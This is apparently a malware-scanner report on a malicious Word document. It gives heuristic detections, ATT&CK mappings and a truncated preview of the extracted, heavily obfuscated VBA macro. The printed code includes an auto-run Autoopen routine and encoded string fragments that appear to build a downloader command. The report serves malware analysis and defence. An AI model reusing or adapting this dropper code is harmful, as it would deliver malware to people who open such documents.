MALICIOUS
202
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing a VBA macro. The 'OLE_VBA_SHELL' heuristic indicates the presence of a Shell() call, which is commonly used to execute arbitrary code. The 'Autoopen' macro suggests it runs automatically upon opening. This points to a macro-based downloader, a common initial access vector via spearphishing attachments.
Heuristics 6
-
ClamAV: Doc.Dropper.Agent-6548036-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6548036-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 177069 bytes |
SHA-256: 360397ed8e5e6270af2c8299f8a4e24615b9ce10440a50e55b0a528f07604bb1 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "YcKPrfKnjSjcuA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub HjCpGw(OIPJzo)
For witBwh = 28830 To 70407
For jXdjUj = 93894 To TuakB
zUBtrE = ChrB(GNjVi)
Next
LcREfW = 11636 * 35795
dPGiL = qFNKzB + juoXfV
Next
End Sub
Sub JuKqjl(BpvOvO)
For rlmJtO = 30734 To 16563
For LjzPv = 43325 To HqkpJ
FQBazo = ChrB(SwCmR)
Next
JBOmHN = 1482 * 47578
JjWwfY = XKZVIj + ISObs
Next
For PiLzG = 25985 To 29547
For DccIKF = 13370 To EAJqi
rNvjc = ChrB(GUtlHV)
Next
iXYsRJ = 88580 * 38357
wNwaPp = NRCYq + wBZlkn
Next
For jqAoWc = 89222 To 60662
For rhkEJ = 31143 To iBPQFf
FzsrZ = ChrB(TjYGk)
Next
GMJEnv = 67468 * 10370
UomdiS = jVXiDW + rdkVIo
Next
End Sub
Sub IiUKK(ZwbUW)
For tlIGNr = 7459 To 55196
For DiFujR = 34074 To CaaQOM
SSYwR = ChrB(tDHddJ)
Next
WXdEMO = 10465 * 90831
QaEHU = uvJiZ + ouTHLJ
Next
For fzQFI = 67378 To 9960
For wVEAGO = 7633 To zsJSU
LUwkj = ChrB(cKzAFw)
Next
QzUwY = 29979 * 87853
aFiSjk = VOBqoW + wHXzWD
Next
End Sub
Sub Autoopen()
On Error Resume Next
For XDuKzn = 4819 To 54766
For kCbLlO = 38972 To zwjpj
OHsiDN = ChrB(ZsqLC)
Next
jIkwp = 87020 * 34963
nNLAh = FzYTwo + fCGIz
Next
DEVMaPww (XLKkz + wSOmNvlcJ + NkJPBt)
For Rhbuhi = 40791 To 50726
For aUXPO = 93540 To Fdnqi
FdcLRU = ChrB(vkWZA)
Next
XEHZi = 57901 * 78132
lpNkU = hElND + WbzSW
Next
End Sub
Sub AXXqw(OqZwwE)
For MppUo = 29895 To 50768
For EVrwIV = 67509 To vHpDR
QhvrOW = ChrB(riGjEq)
Next
hHJCvQ = 91792 * 5186
rpcfpd = IBriYH + zADSN
Next
For lRDiHT = 76736 To 95534
For HBiNBD = 2736 To roNqzf
IDZiM = ChrB(rziPv)
Next
mzYWp = 88691 * 42383
qALGVv = MdAwn + qWEuFl
Next
For PDzwGd = 29633 To 77289
For SXwbl = 44537 To sSMQm
UiSHnv = ChrB(UckIlf)
Next
AMArja = 86972 * 22492
AMBTPM = sUwjjR + wqTNzq
Next
End Sub
Sub nqFkGf(VkLmI)
For SvmcL = 15466 To 1761
For onvDjh = 2605 To MNuVp
VviIj = ChrB(Xkmzb)
Next
MDErB = 82950 * 79049
zDKhXw = UXwsm + FZqtD
Next
End Sub
Attribute VB_Name = "sUDAzcXUzwU"
Sub CjuNS(BkirCM)
For FovHdN = 96165 To 95850
For wavCM = 9795 To dTXDmp
WsHFs = ChrB(sASrM)
Next
ncNUjW = 27826 * 75217
TRPYwl = XfJBP + ZOWHFf
Next
End Sub
Function wSOmNvlcJ()
On Error Resume Next
For vIEpT = 33266 To 44912
For zojXC = 43001 To arhvh
cniLcF = ChrB(wzbQj)
Next
nLNaE = 59847 * 26764
YrdiNL = ofZKw + SVViqL
Next
For HabIto = 22587 To 10192
For VsdMFI = 49816 To UKkNj
zjZGL = ChrB(vcwwB)
Next
jjAcaK = 60980 * 42416
mwBLq = nNwjPa + dZTiA
Next
TznmHKPbLv = ujOXQ("dQW+'.)8ec}8ec+8ec}{h'+'c8ec+8ectac8ec+8ec};8ec+8eckaerb;8ec+8ec)CDSb8ec+8ec'+'cq()'+'QuAmetI8ec+8ec-eQ8ec+8ecuA+QuAkQuA+Qu'+'AovnIQu8ec+8ecA(8ec+8ec&8ec+8ec;)CDSbcq8ec+8ec ,)(8ec+8ecqAT8ec+8ecg8ec+B,,T", 8674 + 5 - 8674, 8674 + 195 - 8674)
For sttjKX = 53838 To 81558
For skahK = 61945 To mYuUi
PAQmH = ChrB(FbIrJ)
Next
ditQqn = 28109 * 71219
UNGiPq = mvnfV + isQYQS
Next
For KTUXJ = 57089 To 71098
For zXEhh = 32125 To szzvCL
iDptm = ChrB(twvPkm)
Next
lmzQW = 24315 * 35591
ShJGl = iRmOp + vpQhP
Next
pjQoWwslDR = ujOXQ("ffC8ecN68ec+8eciyi6iy8ec+8ecrtS8ec+8ecoTqA8ec+8ecT.cfsabc8ec+8ec'+'bRGh", 70229 + 5 - 70229, 70229 + 64 - 70229)
For ziAbpz = 90357 To 83381
For FAhYq = 87105 To MVjnBR
hJAua = ChrB(wWPAfN)
Next
VqsLLt = 18831 * 48285
FqzSE = uBco
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.